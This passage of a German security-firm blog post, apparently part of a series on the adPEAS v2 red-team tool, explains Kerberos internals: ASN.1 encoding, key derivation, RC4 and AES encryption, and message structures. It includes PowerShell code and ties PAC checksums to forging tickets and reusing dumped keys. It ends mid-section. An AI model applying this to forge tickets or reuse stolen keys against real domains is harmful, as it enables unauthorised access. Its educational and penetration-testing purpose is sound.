SEKurity GmbH Logo
adPEAS

adPEAS v2 Episode 7: Kerberos Internals - Was wirklich auf dem Draht passiert

Deep Dive in die Kerberos-Protokoll-Internals wie sie adPEAS v2 implementiert: ASN.1-Encoding, Key Derivation, Verschlüsselungsalgorithmen, Nachrichtenstrukturen und warum Angriffe wie Kerberoasting funktionieren.

Alexander Sturz

Gründer & Red Team Lead

32 Min. Lesezeit
Teilen:

Einleitung

In Episode 3 (Authentifizierung) haben wir gesehen, wie adPEAS sich am KDC anmeldet. In Episode 6 (Offensive Operations) haben wir mit Invoke-TicketForge Golden, Silver und Diamond Tickets erstellt. Aber was passiert dabei eigentlich auf Byte-Ebene?

Diese Episode ist ein Deep Dive in die Kerberos-Internals, wie adPEAS v2 sie implementiert. Wir schauen uns an:

  • ASN.1 DER Encoding — wie Kerberos-Nachrichten auf dem Draht codiert werden
  • Key Derivation — wie aus einem Passwort ein kryptografischer Key wird
  • Verschlüsselung — RC4-HMAC vs. AES256-CTS-HMAC-SHA1
  • Nachrichtentypen — AS-REQ, AS-REP, TGS-REQ, TGS-REP, KRB-CRED
  • Ticket-Struktur — was in einem Kerberos-Ticket steckt
  • Kerberoasting & ASREPRoast — warum diese Angriffe funktionieren

Hinweis: Diese Episode ist technisch anspruchsvoll. Sie richtet sich an Leser, die verstehen wollen, warum Kerberos-Angriffe funktionieren — nicht nur wie man sie ausführt. Grundkenntnisse in Kryptografie und Netzwerkprotokollen sind hilfreich.


Teil 1: ASN.1 — Die Sprache des Kerberos-Protokolls

Warum ASN.1?

Jede Kerberos-Nachricht — von der initialen Anmeldung bis zum Service-Ticket — wird als ASN.1-Struktur codiert und im DER-Format (Distinguished Encoding Rules) über das Netzwerk gesendet. ASN.1 ist also die “Drahtsprache” von Kerberos.

Was ist ASN.1? Abstract Syntax Notation One ist ein Standard zur Beschreibung von Datenstrukturen. DER ist das Encoding-Format, das diese Strukturen in Bytes umsetzt. Man kann sich ASN.1 wie ein binäres JSON vorstellen — nur älter, komplexer und mit festen Typen.

adPEAS implementiert einen eigenen ASN.1 DER Builder und Parser in PowerShell. Warum? Weil die eingebauten .NET-Klassen (AsnEncodedData, AsnReader) für Kerberos-spezifische Strukturen zu eingeschränkt sind. Die Kerberos-RFCs verwenden exzessiv Context-Tags und implizite Typen, die .NET nicht direkt unterstützt.

Tag-Length-Value (TLV): Das Grundprinzip

Jedes ASN.1-Element besteht aus drei Teilen:

+-----+--------+-------+
| Tag | Length | Value |
+-----+--------+-------+
  • Tag (1+ Bytes): Bestimmt den Typ des Elements
  • Length (1+ Bytes): Gibt die Länge des Value-Feldes an
  • Value (0+ Bytes): Die eigentlichen Daten

Tag-Struktur im Detail

Ein ASN.1-Tag hat folgenden Aufbau:

  Bit:  7   6   5   4   3   2   1   0
      +---+---+---+---+---+---+---+---+
      | Class | C | Tag Number        |
      +---+---+---+---+---+---+---+---+

  Class (Bits 7-6):
    00 = Universal       (Standard-Typen: INTEGER, OCTET STRING, ...)
    01 = Application     (Kerberos-Nachrichtentypen: AS-REQ, TGS-REP, ...)
    10 = Context         (Feld-Nummern innerhalb einer SEQUENCE)
    11 = Private         (selten verwendet)

  C (Bit 5):
    0 = Primitive        (enthält direkt Daten)
    1 = Constructed      (enthält weitere TLV-Elemente)

  Tag Number (Bits 4-0):
    0-30: Direkt codiert
    31:   Long Form (weitere Bytes folgen)

Die wichtigsten Tags in Kerberos:

HexBinärBedeutung
0x0200 000010Universal, Primitive, INTEGER
0x0400 000100Universal, Primitive, OCTET STRING
0x1B00 011011Universal, Primitive, GeneralString
0x3000 110000Universal, Constructed, SEQUENCE
0x6A01 101010Application 10, Constructed (AS-REQ)
0x6B01 101011Application 11, Constructed (AS-REP)
0x6C01 101100Application 12, Constructed (TGS-REQ)
0x6D01 101101Application 13, Constructed (TGS-REP)
0x7601 110110Application 22, Constructed (KRB-CRED)
0xA010 100000Context 0, Constructed
0xA110 100001Context 1, Constructed
0xA210 100010Context 2, Constructed
0xA310 100011Context 3, Constructed

Context-Tags sind in Kerberos allgegenwärtig. In einer SEQUENCE wird jedes Feld mit einem Context-Tag nummeriert, damit der Parser weiß, welches Feld gerade kommt:

SEQUENCE {
    [0] pvno      INTEGER,    -- Context 0 = Protokollversion
    [1] msg-type  INTEGER,    -- Context 1 = Nachrichtentyp
    [2] padata    SEQUENCE,   -- Context 2 = Pre-Authentication Data
    ...
}

Length Encoding

Die Länge wird je nach Größe unterschiedlich codiert:

Short Form (0-127 Bytes):

Length < 128:  Ein Byte, direkt der Wert
Beispiel: Length = 42 -> 0x2A

Long Form (128+ Bytes):

Length >= 128: Erstes Byte = 0x80 | Anzahl der Längenbytes
               Folgebytes = Länge in Big Endian

Beispiel: Length = 256
  -> 0x82 0x01 0x00
     0x82 = 0x80 | 2 (2 Folgebytes)
     0x01 0x00 = 256 in Big Endian

Beispiel: Length = 4096
  -> 0x82 0x10 0x00
     0x82 = 0x80 | 2 (2 Folgebytes)
     0x10 0x00 = 4096 in Big Endian

Praxisbeispiel: Ein AS-REQ auf dem Draht

So sieht eine vereinfachte AS-REQ-Nachricht aus, wenn adPEAS sie zusammenbaut:

6A 82 01 3E                          -- APPLICATION 10 (AS-REQ), Length 318
|  30 82 01 3A                       -- SEQUENCE, Length 314
|  |  A1 03                          -- Context [1] (pvno)
|  |  |  02 01 05                    -- INTEGER 5
|  |  A2 03                          -- Context [2] (msg-type)
|  |  |  02 01 0A                    -- INTEGER 10 (AS-REQ)
|  |  A3 82 00 xx                    -- Context [3] (padata)
|  |  |  30 82 00 xx                 -- SEQUENCE OF PA-DATA
|  |  |  |  30 xx                    -- PA-DATA (PA-ENC-TIMESTAMP)
|  |  |  |  |  A1 03                 -- padata-type
|  |  |  |  |  |  02 01 02           -- INTEGER 2 (PA-ENC-TIMESTAMP)
|  |  |  |  |  A2 xx                 -- padata-value
|  |  |  |  |  |  04 xx ...          -- OCTET STRING (verschlüsselter Timestamp)
|  |  A4 82 00 xx                    -- Context [4] (req-body)
|  |  |  30 82 00 xx                 -- SEQUENCE (KDC-REQ-BODY)
|  |  |  |  A0 07                    -- Context [0] (kdc-options)
|  |  |  |  |  03 05 00 40 81 00 10  -- BIT STRING (Forwardable, Renewable, ...)
|  |  |  |  A1 xx                    -- Context [1] (cname)
|  |  |  |  |  30 xx                 -- PrincipalName
|  |  |  |  |  |  ...                -- NT-PRINCIPAL: "user"
|  |  |  |  A2 xx                    -- Context [2] (realm)
|  |  |  |  |  1B xx                 -- GeneralString: "CONTOSO.COM"
|  |  |  |  A3 xx                    -- Context [3] (sname)
|  |  |  |  |  30 xx                 -- PrincipalName
|  |  |  |  |  |  ...                -- NT-SRV-INST: "krbtgt/CONTOSO.COM"
|  |  |  |  A5 11                    -- Context [5] (till)
|  |  |  |  |  18 0F                 -- GeneralizedTime
|  |  |  |  |  |  "20370913024805Z"  -- Ablaufzeit
|  |  |  |  A7 03                    -- Context [7] (nonce)
|  |  |  |  |  02 01 xx              -- INTEGER (zufälliger Nonce)
|  |  |  |  A8 xx                    -- Context [8] (etype)
|  |  |  |  |  30 xx                 -- SEQUENCE OF INTEGER
|  |  |  |  |  |  02 01 12           -- INTEGER 18 (AES256-CTS)
|  |  |  |  |  |  02 01 17           -- INTEGER 23 (RC4-HMAC)

Was hier passiert:

  1. Die äußere Hülle ist APPLICATION 10 — das identifiziert die Nachricht als AS-REQ
  2. Darin steckt eine SEQUENCE mit Context-Tags [1] bis [4]
  3. [1] = pvno (Protokollversion 5), [2] = msg-type (10 = AS-REQ)
  4. [3] = PA-DATA mit verschlüsseltem Timestamp (Pre-Authentication)
  5. [4] = Der Request-Body mit Client-Name, Realm, Service-Name, Optionen und unterstützten Verschlüsselungstypen

adPEAS ASN.1 Builder

adPEAS baut ASN.1-Strukturen mit einem Satz von Hilfsfunktionen auf. Das Prinzip: Von innen nach außen zusammenbauen, dann in die äußeren Container verpacken.

Die wichtigsten Builder-Funktionen:

# Primitive Typen
[Asn1Builder]::CreateInteger(5)
# -> 02 01 05

[Asn1Builder]::CreateOctetString($bytes)
# -> 04 <length> <bytes>

[Asn1Builder]::CreateGeneralString("CONTOSO.COM")
# -> 1B 0B 43 4F 4E 54 4F 53 4F 2E 43 4F 4D

[Asn1Builder]::CreateGeneralizedTime("20370913024805Z")
# -> 18 0F 32 30 33 37 30 39 31 33 30 32 34 38 30 35 5A

# Constructed Typen
[Asn1Builder]::CreateSequence($innerBytes)
# -> 30 <length> <innerBytes>

# Context Tags
[Asn1Builder]::CreateContextTag(0, $innerBytes)
# -> A0 <length> <innerBytes>

# Application Tags
[Asn1Builder]::CreateApplicationTag(10, $innerBytes)
# -> 6A <length> <innerBytes>

Beispiel: PrincipalName zusammenbauen

Ein PrincipalName (z.B. krbtgt/CONTOSO.COM) besteht aus:

PrincipalName ::= SEQUENCE {
    name-type   [0] INTEGER,    -- 2 = NT-SRV-INST
    name-string [1] SEQUENCE OF GeneralString
}

In adPEAS:

function New-PrincipalName {
    param([int]$NameType, [string[]]$Names)

    # name-string: SEQUENCE OF GeneralString
    $nameStrings = foreach ($name in $Names) {
        [Asn1Builder]::CreateGeneralString($name)
    }
    $nameSeq = [Asn1Builder]::CreateSequence(
        [Asn1Builder]::Combine($nameStrings)
    )

    # PrincipalName SEQUENCE
    [Asn1Builder]::CreateSequence(
        [Asn1Builder]::Combine(@(
            [Asn1Builder]::CreateContextTag(0,
                [Asn1Builder]::CreateInteger($NameType)
            ),
            [Asn1Builder]::CreateContextTag(1, $nameSeq)
        ))
    )
}

# krbtgt/CONTOSO.COM
$sname = New-PrincipalName -NameType 2 -Names @("krbtgt", "CONTOSO.COM")

adPEAS ASN.1 Parser

Der Parser arbeitet in die umgekehrte Richtung — er liest Bytes und baut eine Baumstruktur:

# Kerberos-Nachricht parsen
$parsed = [Asn1Parser]::Parse($responseBytes)

# Ergebnis ist ein Baum von Asn1Node-Objekten:
# $parsed.Tag          -> 0x6B (APPLICATION 11 = AS-REP)
# $parsed.Children[0]  -> SEQUENCE
# $parsed.Children[0].Children[0]  -> Context [0] (pvno)
# ...

# Bequemer Zugriff mit GetChildByTag:
$asRep = $parsed
$pvno = $asRep.GetContextTag(0).GetChild().Value  # -> 5
$msgType = $asRep.GetContextTag(1).GetChild().Value  # -> 11
$encPart = $asRep.GetContextTag(5)  # EncryptedData

Was der Parser mit einer AS-REP macht:

Eingehende Bytes:
6B 82 03 xx 30 82 03 xx A0 03 02 01 05 A1 03 02 01 0B ...

Geparster Baum:
AS-REP [APPLICATION 11]
|-- SEQUENCE
    |-- [0] pvno: 5
    |-- [1] msg-type: 11
    |-- [2] crealm: "CONTOSO.COM"
    |-- [3] cname: PrincipalName
    |   |-- [0] name-type: 1
    |   +-- [1] name-string: ["user"]
    |-- [4] ticket: Ticket [APPLICATION 1]
    |   +-- (verschlüsselt mit krbtgt-Key)
    +-- [5] enc-part: EncryptedData
        |-- [0] etype: 18 (AES256-CTS)
        |-- [1] kvno: 2
        +-- [2] cipher: <verschlüsselte Bytes>

Der Parser ist der erste Schritt bei jeder eingehenden Kerberos-Nachricht. Aus dem geparsten Baum extrahiert adPEAS dann die relevanten Felder — z.B. das verschlüsselte Ticket aus der AS-REP oder den Session Key nach der Entschlüsselung.


Teil 2: Key Derivation — Vom Passwort zum kryptografischen Key

Das Problem

Kerberos muss aus einem Benutzerpasswort einen kryptografischen Schlüssel ableiten, der zum Ver- und Entschlüsseln von Nachrichten verwendet wird. Je nach Encryption Type (etype) ist dieser Prozess unterschiedlich komplex.

adPEAS unterstützt zwei Haupttypen:

ETypeNameKey-LängeAlgorithmus
23RC4-HMAC16 BytesMD4(UTF-16LE(password))
18AES256-CTS-HMAC-SHA1-9632 BytesPBKDF2 + n-fold + DK

RC4-HMAC (EType 23): Der einfache Weg

Bei RC4-HMAC ist der Kerberos-Key einfach der NT-Hash des Passworts:

Password: "P@ssw0rd"
    |
    v
UTF-16LE Encoding: 50 00 40 00 73 00 73 00 77 00 30 00 72 00 64 00
    |
    v
MD4 Hash
    |
    v
NT-Hash = Key: 9A5B287082D9C2E6F31E4F4EDF702B74

Das war’s. Kein Salt, kein Stretching, keine Iterationen. Genau deshalb ist RC4-HMAC so anfällig — der Key ist identisch mit dem NT-Hash, der auch für NTLM-Authentifizierung verwendet wird.

adPEAS-Implementierung:

function Get-RC4Key {
    param([string]$Password)

    # UTF-16LE Encoding
    $passwordBytes = [System.Text.Encoding]::Unicode.GetBytes($Password)

    # MD4 Hash = NT-Hash = RC4-HMAC Key
    $md4 = New-MD4Hash -DataToHash $passwordBytes
    return $md4
}

Warum MD4? Das Kerberos RC4-HMAC-Schema wurde von Microsoft entworfen, um kompatibel mit dem bestehenden NTLM-Hash zu sein. Man muss keine neuen Keys generieren — der vorhandene NT-Hash wird einfach wiederverwendet. Bequem, aber kryptografisch problematisch.

AES256-CTS-HMAC-SHA1-96 (EType 18): Der richtige Weg

AES256 Key Derivation ist deutlich aufwendiger und besteht aus mehreren Schritten:

Password + Salt
      |
      v
+-------------------+
| PBKDF2-HMAC-SHA1  |
| Iterations: 4096  |
| DKLen: 32 Bytes   |
+-------------------+
      |
      v
  Base Key (32 Bytes)
      |
      v
+-------------------+
| DK (Derived Key)  |
| n-fold + Encrypt  |
| "kerberos" const  |
+-------------------+
      |
      v
  Protocol Key (32 Bytes)

Schritt 1: Salt zusammenbauen

Der Salt ist bei Kerberos nicht zufällig, sondern deterministisch:

Für Users:    REALM + username     -> "CONTOSO.COMuser"
Für Computer: REALM + "host/" + hostname.realm -> "CONTOSO.COMhostdc01.contoso.com"

Achtung: Der Realm ist in Großbuchstaben, der Username in der originalen Schreibweise (Case-Sensitive!).

Schritt 2: PBKDF2

# PBKDF2-HMAC-SHA1 mit 4096 Iterationen
$pbkdf2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes(
    $passwordBytes,
    $saltBytes,
    4096,
    [System.Security.Cryptography.HashAlgorithmName]::SHA1
)
$baseKey = $pbkdf2.GetBytes(32)  # 256 Bit

Schritt 3: n-fold Algorithmus

Der n-fold-Algorithmus ist eine Kerberos-spezifische Funktion, die einen String auf eine beliebige Bitlänge “faltet”. Er wird verwendet, um die Konstante "kerberos" auf die benötigte Blocklänge zu bringen:

Eingabe:  "kerberos" (64 Bit ASCII = 6B 65 72 62 65 72 6F 73)
Ausgabe:  n-fold auf 256 Bit (32 Bytes)

Algorithmus:
1. Eingabe-Bits zyklisch wiederholen
2. Jeweils um lcm(inBits, outBits)/inBits Positionen rotieren
3. Alle rotierten Kopien mit Carry-Addition addieren

Ergebnis: 6B 65 72 62 65 72 6F 73  (wird zu 32 Bytes gefaltet)

Schritt 4: DK (Derived Key)

Der finale Key wird durch Verschlüsselung der n-fold-Konstante mit dem Base Key gewonnen:

function Get-DerivedKey {
    param([byte[]]$BaseKey, [string]$Usage)

    # 1. Konstante "kerberos" mit n-fold auf 256 Bit falten
    $constant = [System.Text.Encoding]::ASCII.GetBytes("kerberos")
    $nfolded = Invoke-NFold -Input $constant -OutputBits 256

    # 2. Mit AES-CBC verschlüsseln (IV = 0)
    $aes = [System.Security.Cryptography.Aes]::Create()
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aes.Padding = [System.Security.Cryptography.PaddingMode]::None
    $aes.Key = $BaseKey
    $aes.IV = New-Object byte[] 16  # Zero IV

    $encryptor = $aes.CreateEncryptor()
    $dk = $encryptor.TransformFinalBlock($nfolded, 0, $nfolded.Length)

    return $dk
}

Key Derivation für Kerberos-Operationen (Ke, Ki, Kc)

Aus dem Protocol Key werden für verschiedene Operationen Sub-Keys abgeleitet:

Protocol Key (Ke)
      |
      +-- Ke (Encryption Key): Für Daten-Verschlüsselung
      |   Usage: Concat(usage-number, 0xAA)
      |   Bsp: Key Usage 3 -> 00 00 00 03 AA
      |
      +-- Ki (Integrity Key): Für HMAC-Integrität
      |   Usage: Concat(usage-number, 0x55)
      |   Bsp: Key Usage 3 -> 00 00 00 03 55
      |
      +-- Kc (Checksum Key): Für Checksums
          Usage: Concat(usage-number, 0x99)
          Bsp: Key Usage 3 -> 00 00 00 03 99

Key Usage Numbers in Kerberos:

UsageKontext
1AS-REQ PA-ENC-TIMESTAMP
2AS-REP Ticket (Session Key)
3AS-REP EncPart (Encrypted mit User Key)
7TGS-REQ Authenticator
8TGS-REP EncPart
9TGS-REQ Authenticator Subkey
10AP-REQ Authenticator Checksum
14KRB-CRED EncPart

Get-Hash: adPEAS Key Derivation

adPEAS kapselt die gesamte Key Derivation in einer einzigen Funktion:

function Get-Hash {
    param(
        [string]$Password,
        [string]$Salt,
        [int]$EType  # 17 = AES128, 18 = AES256, 23 = RC4
    )

    switch ($EType) {
        23 {
            # RC4-HMAC: Einfach MD4(UTF-16LE(Password))
            $passwordBytes = [System.Text.Encoding]::Unicode.GetBytes($Password)
            return New-MD4Hash -DataToHash $passwordBytes
        }
        18 {
            # AES256: PBKDF2 -> n-fold -> DK
            $passwordBytes = [System.Text.Encoding]::UTF8.GetBytes($Password)
            $saltBytes = [System.Text.Encoding]::UTF8.GetBytes($Salt)
            $baseKey = Invoke-PBKDF2 -Password $passwordBytes -Salt $saltBytes `
                -Iterations 4096 -KeyLength 32
            return Get-DerivedKey -BaseKey $baseKey
        }
        17 {
            # AES128: Gleich wie AES256, nur 16 Bytes
            $passwordBytes = [System.Text.Encoding]::UTF8.GetBytes($Password)
            $saltBytes = [System.Text.Encoding]::UTF8.GetBytes($Salt)
            $baseKey = Invoke-PBKDF2 -Password $passwordBytes -Salt $saltBytes `
                -Iterations 4096 -KeyLength 16
            return Get-DerivedKey -BaseKey $baseKey
        }
    }
}

Wichtig für Offensive: Bei Pass-the-Key und Overpass-the-Hash umgeht man die gesamte Key Derivation. Man hat bereits den fertigen Key (z.B. aus einem DCSync oder Credential Dump) und überspringt das Passwort komplett. Deshalb ist der Schutz der Kerberos-Keys genauso wichtig wie der Schutz der Passwörter.


Teil 3: Verschlüsselung — RC4-HMAC vs. AES-CTS

RC4-HMAC (EType 23)

RC4-HMAC war jahrelang der Standard in Active Directory. Es ist schnell, einfach zu implementieren — und aus kryptografischer Sicht veraltet.

Verschlüsselungsprozess:

Klartext
    |
    v
+---------------------------+
| 1. Confounder generieren  |
|    (8 zufällige Bytes)    |
+---------------------------+
    |
    v
+---------------------------+
| 2. HMAC-MD5 Checksum      |
|    K1 = HMAC-MD5(Key,     |
|         Usage-Nummer)     |
|    Checksum = HMAC-MD5(K1,|
|         Confounder+Data)  |
+---------------------------+
    |
    v
+---------------------------+
| 3. RC4 Encryption         |
|    K3 = HMAC-MD5(K1,      |
|         Checksum)         |
|    RC4(K3,                |
|      Confounder+Data)     |
+---------------------------+
    |
    v
Chiffre = Checksum + RC4(Confounder + Daten)

Aufbau des Chiffretexts:

+----------+------------+-------------------+
| Checksum | Confounder | Verschlüsselte    |
| 16 Bytes | 8 Bytes    | Daten             |
+----------+------------+-------------------+
  (HMAC)     (RC4-verschlüsselt)

adPEAS-Implementierung (vereinfacht):

function Invoke-RC4HMACEncrypt {
    param(
        [byte[]]$Key,        # 16 Bytes (NT-Hash)
        [int]$KeyUsage,      # z.B. 3 für AS-REP
        [byte[]]$Plaintext
    )

    # 1. Usage Key ableiten
    $usageBytes = [BitConverter]::GetBytes($KeyUsage)
    # Little Endian -> 4 Bytes
    $K1 = Invoke-HMACMD5 -Key $Key -Data $usageBytes

    # 2. Zufälligen Confounder generieren
    $confounder = New-RandomBytes -Count 8

    # 3. Checksum über Confounder + Plaintext
    $toChecksum = $confounder + $Plaintext
    $checksum = Invoke-HMACMD5 -Key $K1 -Data $toChecksum

    # 4. Encryption Key aus Checksum ableiten
    $K3 = Invoke-HMACMD5 -Key $K1 -Data $checksum

    # 5. RC4-Verschlüsselung
    $encrypted = Invoke-RC4 -Key $K3 -Data $toChecksum

    # Ergebnis: Checksum + verschlüsselter (Confounder + Daten)
    return $checksum + $encrypted
}

AES256-CTS-HMAC-SHA1-96 (EType 18)

AES256-CTS ist der moderne Standard. CTS steht für “Ciphertext Stealing” — ein Modus, der keinen Padding benötigt und den Chiffretext auf die exakte Klartextlänge bringt.

Verschlüsselungsprozess:

Klartext
    |
    v
+-------------------------------+
| 1. Confounder generieren      |
|    (16 Bytes = AES Block Size)|
+-------------------------------+
    |
    v
+-------------------------------+
| 2. Ke ableiten (Encryption)   |
|    Ke = DK(Key, Usage|0xAA)   |
+-------------------------------+
    |
    v
+-------------------------------+
| 3. AES-CBC-CTS verschlüsseln  |
|    IV = Zero (16 Bytes)       |
|    Daten = Confounder + Plain |
+-------------------------------+
    |
    v
+-------------------------------+
| 4. Ki ableiten (Integrity)    |
|    Ki = DK(Key, Usage|0x55)   |
+-------------------------------+
    |
    v
+-------------------------------+
| 5. HMAC-SHA1 Checksum         |
|    Über den Ciphertext        |
|    Auf 12 Bytes gekürzt       |
+-------------------------------+
    |
    v
Chiffre = AES-CTS(Confounder + Daten) + HMAC[0..11]

Aufbau des Chiffretexts:

+-------------------------------------------+-----------+
| AES-CTS verschlüsselt                     | HMAC-SHA1 |
| (Confounder 16B + Daten)                  | 12 Bytes  |
+-------------------------------------------+-----------+

Was ist CTS (Ciphertext Stealing)?

Normales AES-CBC braucht Padding auf Blockgröße (16 Bytes). CTS vermeidet das, indem es den letzten unvollständigen Block mit Bytes aus dem vorletzten Block auffüllt und die letzten beiden Blöcke tauscht:

Standard AES-CBC (mit Padding):
+--------+--------+--------+--------+
| Block1 | Block2 | Block3 | Pad    |
+--------+--------+--------+--------+
  16B      16B      16B      1-16B    <- Padding nötig

AES-CTS (ohne Padding):
+--------+--------+--------+--------+
| Block1 | Block2 | Block3'| Blk2'  |
+--------+--------+--------+--------+
  16B      16B     restB    16B     <- Kein Padding, letzter Block gekürzt

CTS-Schritte:

  1. Alle Blöcke bis auf die letzten zwei normal mit AES-CBC verschlüsseln
  2. Vorletzten Block verschlüsseln -> Cn-1
  3. Letzten (möglicherweise kurzen) Block mit den überschüssigen Bytes von Cn-1 auffüllen
  4. Aufgefüllten Block verschlüsseln -> Cn
  5. Letzten zwei Blöcke tauschen: Ausgabe = ..., Cn, Cn-1[0..restLen-1]

adPEAS-Implementierung (vereinfacht):

function Invoke-AES256CTSEncrypt {
    param(
        [byte[]]$Key,        # 32 Bytes (AES256 Key)
        [int]$KeyUsage,      # z.B. 3 für AS-REP
        [byte[]]$Plaintext
    )

    # 1. Sub-Keys ableiten
    $Ke = Get-SubKey -BaseKey $Key -Usage $KeyUsage -Type 0xAA  # Encryption
    $Ki = Get-SubKey -BaseKey $Key -Usage $KeyUsage -Type 0x55  # Integrity

    # 2. Confounder generieren
    $confounder = New-RandomBytes -Count 16

    # 3. AES-CBC-CTS verschlüsseln
    $plainWithConfounder = $confounder + $Plaintext
    $ciphertext = Invoke-AES_CTS_Encrypt -Key $Ke -Data $plainWithConfounder

    # 4. HMAC-SHA1 Checksum (auf 12 Bytes gekürzt)
    $hmac = Invoke-HMACSHA1 -Key $Ki -Data $ciphertext
    $truncatedHmac = $hmac[0..11]

    return $ciphertext + $truncatedHmac
}

cryptdll.dll: Windows Kerberos-Crypto-API

Für bestimmte Operationen nutzt adPEAS die Windows-eigene cryptdll.dll. Diese DLL exportiert Low-Level-Kerberos-Kryptografiefunktionen, die von lsass.exe für die Kerberos-Verarbeitung verwendet werden.

Warum cryptdll.dll?

PAC-Signaturen verwenden Kerberos-spezifische Checksum-Typen, die nicht mit Standard-.NET-Krypto nachgebaut werden können:

Checksum-TypWertBeschreibung
HMAC_MD5-138RC4-HMAC PAC Checksum
HMAC_SHA1_96_AES25616AES256 PAC Checksum

adPEAS P/Invoke-Deklarationen:

# cryptdll.dll Funktionen importieren
$cryptDllImport = @"
[DllImport("cryptdll.dll", CharSet = CharSet.Auto)]
public static extern int CDLocateCSystem(int etype, out IntPtr pCheckSum);

[DllImport("cryptdll.dll", CharSet = CharSet.Auto)]
public static extern int CDLocateCheckSum(int etype, out IntPtr pCheckSum);
"@

# CheckSum-Struktur
# +0x00: Type (int)
# +0x04: Size (int)
# +0x08: Flags (int)
# +0x0C: Initialize (IntPtr -> Funktion)
# +0x10: Sum (IntPtr -> Funktion)
# +0x14: Finalize (IntPtr -> Funktion)
# +0x18: Finish (IntPtr -> Funktion)

PAC-Checksum-Berechnung (vereinfacht):

function Get-KerberosChecksum {
    param(
        [byte[]]$Key,
        [byte[]]$Data,
        [int]$ChecksumType  # -138 für HMAC_MD5, 16 für AES256
    )

    # 1. Checksum-System lokalisieren
    $pCheckSum = [IntPtr]::Zero
    [CryptDll]::CDLocateCheckSum($ChecksumType, [ref]$pCheckSum)

    # 2. Checksum-Funktionen aus der Struktur lesen
    $csystem = [Marshal]::PtrToStructure($pCheckSum, [KERB_CHECKSUM])

    # 3. Initialize -> Sum -> Finalize -> Finish
    $context = [IntPtr]::Zero
    $csystem.Initialize.Invoke($Key, $Key.Length, [ref]$context)
    $csystem.Sum.Invoke($context, $Data.Length, $Data)
    $csystem.Finalize.Invoke($context, [ref]$checksumBytes)
    $csystem.Finish.Invoke([ref]$context)

    return $checksumBytes
}

Diese Funktion ist kritisch für Invoke-TicketForge — ohne korrekte PAC-Checksums wird jedes gefälschte Ticket vom KDC abgelehnt.


Teil 4: Kerberos-Nachrichtentypen

Überblick

Kerberos definiert einen klaren Satz von Nachrichtentypen. adPEAS implementiert die folgenden:

+----------+    AS-REQ (10)    +-----+    TGS-REQ (12)    +-----+
|          | ----------------> |     | -----------------> |     |
|  Client  |    AS-REP (11)    | KDC |    TGS-REP (13)    | KDC |
|          | <---------------- |     | <----------------- |     |
+----------+                   +-----+                    +-----+
     |                                                        |
     |                  AP-REQ (14)                           |
     | -----------------------------------------------------> |
     |                  AP-REP (15)                           |
     | <--------------------------------------------- Service |
     |
     |                  KRB-CRED (22)
     | <-----> .kirbi Datei / Ticket Cache
Msg-TypeNameAPPLICATION TagBeschreibung
10AS-REQ6A (App 10)Authentication Service Request
11AS-REP6B (App 11)Authentication Service Reply
12TGS-REQ6C (App 12)Ticket-Granting Service Request
13TGS-REP6D (App 13)Ticket-Granting Service Reply
14AP-REQ6E (App 14)Application Request
15AP-REP6F (App 15)Application Reply
22KRB-CRED76 (App 22)Credential Message (.kirbi)
30KRB-ERROR7E (App 30)Error Message

AS-REQ (Authentication Service Request)

Die AS-REQ ist die erste Nachricht im Kerberos-Flow. Der Client fragt beim KDC ein TGT an.

Struktur:

AS-REQ ::= [APPLICATION 10] KDC-REQ

KDC-REQ ::= SEQUENCE {
    pvno      [1] INTEGER (5),
    msg-type  [2] INTEGER (10),
    padata    [3] SEQUENCE OF PA-DATA OPTIONAL,
    req-body  [4] KDC-REQ-BODY
}

KDC-REQ-BODY ::= SEQUENCE {
    kdc-options   [0] KDCOptions (BIT STRING),
    cname         [1] PrincipalName,      -- Client Name
    realm         [2] Realm,              -- Domain
    sname         [3] PrincipalName,      -- Service Name (krbtgt/REALM)
    till          [5] KerberosTime,       -- Gewünschte Ablaufzeit
    nonce         [7] INTEGER,            -- Zufälliger Nonce
    etype         [8] SEQUENCE OF INTEGER -- Unterstützte Enc Types
}

PA-DATA (Pre-Authentication Data):

adPEAS baut verschiedene PA-DATA-Typen abhängig von der Authentifizierungsmethode:

PA-DATA TypeWertVerwendung
PA-ENC-TIMESTAMP2Passwort/Key-basierte Auth
PA-PK-AS-REQ16PKINIT (Zertifikat-basiert)
PA-PAC-REQUEST128PAC anfordern (ja/nein)

PA-ENC-TIMESTAMP (für Passwort-Auth):

# 1. Aktuellen Timestamp als GeneralizedTime
$timestamp = Get-Date -Format "yyyyMMddHHmmssZ"

# 2. ASN.1-Struktur bauen
$paTimestamp = [Asn1Builder]::CreateSequence(
    [Asn1Builder]::CreateContextTag(0,
        [Asn1Builder]::CreateGeneralizedTime($timestamp)
    )
)

# 3. Mit User-Key verschlüsseln (Usage 1)
$encTimestamp = Invoke-KerberosEncrypt -Key $userKey -Usage 1 `
    -Plaintext $paTimestamp -EType $etype

AS-REP (Authentication Service Reply)

Die AS-REP enthält das TGT und den verschlüsselten Teil mit dem Session Key.

Struktur:

AS-REP ::= [APPLICATION 11] KDC-REP

KDC-REP ::= SEQUENCE {
    pvno      [0] INTEGER (5),
    msg-type  [1] INTEGER (11),
    padata    [2] SEQUENCE OF PA-DATA OPTIONAL,
    crealm    [3] Realm,
    cname     [4] PrincipalName,
    ticket    [5] Ticket,             -- Das TGT (verschlüsselt mit krbtgt-Key)
    enc-part  [6] EncryptedData       -- Verschlüsselt mit dem User-Key
}

Was adPEAS mit der AS-REP macht:

AS-REP empfangen
    |
    v
1. ASN.1 parsen
    |
    v
2. Ticket extrahieren (bleibt verschlüsselt -- wir haben den krbtgt-Key nicht)
    |
    v
3. enc-part mit User-Key entschlüsseln
    |
    v
4. Session Key extrahieren
    |
    v
5. TGT + Session Key = bereit für TGS-REQ

Der enc-part enthält nach Entschlüsselung:

EncASRepPart ::= SEQUENCE {
    key       [0] EncryptionKey,   -- Session Key
    last-req  [1] LastReq,
    nonce     [2] INTEGER,         -- Muss mit AS-REQ-Nonce übereinstimmen
    flags     [5] TicketFlags,
    authtime  [6] KerberosTime,
    starttime [7] KerberosTime OPTIONAL,
    endtime   [8] KerberosTime,
    renew-till [9] KerberosTime OPTIONAL,
    srealm    [10] Realm,
    sname     [11] PrincipalName
}

TGS-REQ (Ticket-Granting Service Request)

Mit dem TGT aus der AS-REP fragt der Client jetzt ein Service Ticket an.

Struktur:

TGS-REQ ::= [APPLICATION 12] KDC-REQ

-- Gleiche KDC-REQ-Struktur wie AS-REQ, aber:
-- msg-type = 12
-- padata enthält PA-TGS-REQ (Authenticator + TGT)
-- sname = gewünschter Service (z.B. "cifs/fileserver")

Der Authenticator:

